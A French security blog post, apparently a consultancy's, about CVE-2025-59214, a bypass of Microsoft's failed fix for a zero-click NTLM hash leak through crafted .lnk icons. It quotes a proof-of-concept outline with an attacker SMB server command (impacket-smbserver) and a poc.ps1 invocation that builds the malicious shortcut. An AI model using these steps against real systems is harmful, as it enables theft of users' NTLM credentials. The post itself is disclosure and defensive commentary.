CVE-2025-59214 : quand un correctif Microsoft ne corrige rien

CVE-2025-59214 n'est pas une nouvelle classe de vulnérabilité : c'est la confirmation que le correctif publié par Microsoft pour CVE-2025-50154 ne fonctionnait pas du tout.

La technique reste exactement la même : un fichier raccourci .lnk avec une icône par défaut et une cible pointant vers un binaire hébergé sur un partage SMB distant amène explorer.exe à récupérer ce fichier pour en extraire l'icône, sans la moindre interaction de l'utilisateur. Le correctif censé bloquer ce chemin ne l'a pas fait. Ce constat a été signalé une seconde fois, et Microsoft a attribué une nouvelle CVE au contournement persistant : CVE-2025-59214.

Pourquoi c'est révélateur

Un correctif qui ne corrige rien est plus dangereux qu'une vulnérabilité non corrigée : il donne un faux sentiment de sécurité. Les équipes qui ont déployé le correctif de CVE-2025-50154 en pensant le sujet clos restent exposées exactement de la même façon.

Divulgation responsable

Cette vulnérabilité a été signalée à Microsoft et documentée publiquement après la mise à disposition du second correctif.

Ressource technique complète (dépôt GitHub)

Source : github.com/rubenformation/CVE-2025-50154. La preuve de concept ci-dessous couvre à la fois CVE-2025-50154 et CVE-2025-59214.

Description

While Microsoft released a security update addressing an icon-based NTLM hash disclosure vulnerability, a bypass still allows an attacker to retrieve NTLMv2-SSP hashes without user interaction.

The original vulnerability, recently patched, was a 0-click NTLM hash disclosure triggered when explorer.exe rendered the icon of a .lnk shortcut file whose icon was hosted on a remote SMB server. After the patch, explorer.exe no longer loads icons from remote SMB paths, preventing the automatic disclosure of NTLM hashes.

The patch for CVE-2025-50154 didn't work at all. This was reported again, and a new CVE was assigned: CVE-2025-59214. The proof of concept below is relevant to both CVEs.

By crafting a .lnk file with a default icon from shell32.dll and a target path pointing to a remote SMB-hosted binary file, explorer.exe still fetches the remote file to extract the PE icon from its RTGROUPICON and RT_ICON resources.

Requirements

• An SMB server controlled by the attacker (e.g. via impacket-smbserver).
• A binary to host on that share, used as a lure to extract the icon (e.g. Taskmgr.exe).
• The poc.ps1 script to generate the malicious .lnk file.
• A delivery method for the .lnk file (download, SMB share, etc.).

Reproduction steps

Start an SMB server on the attacker side:

# place the binary (e.g. Taskmgr.exe) in the directory, then start the SMB server.
impacket-smbserver share . -smb2support

Craft the malicious .lnk file with PowerShell on a separate machine, then deliver it to the victim (drive-by download, SMB share, etc.):

# replace the values with the target path, the SMB server IP, and the hosted file name. Triggering can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"

explorer.exe automatically downloads the remote file to extract its icon, looking for RTICON and RTGROUP_ICON headers in the .rsrc section.

Notes

This code is for educational and research purposes only. The author takes no responsibility for any misuse of this code.

Ce qu'il faut retenir

• Un correctif publié n'est pas une garantie de correction : vérifier qu'il bloque réellement le vecteur d'origine fait partie du travail.
• NTLM reste un protocole hérité, mais il est encore activé par défaut dans une grande partie des environnements d'entreprise.
• Une évaluation régulière (audit, red team, veille sur les CVEs affectant l'authentification Windows) reste la meilleure protection contre une classe de vulnérabilités qui, par nature, se renouvelle.

Ce contournement fait suite à CVE-2025-50154 et partage la même preuve de concept. Vous gérez un parc Windows à grande échelle et voulez évaluer votre exposition réelle à ce type de vecteur ? Parlons-en.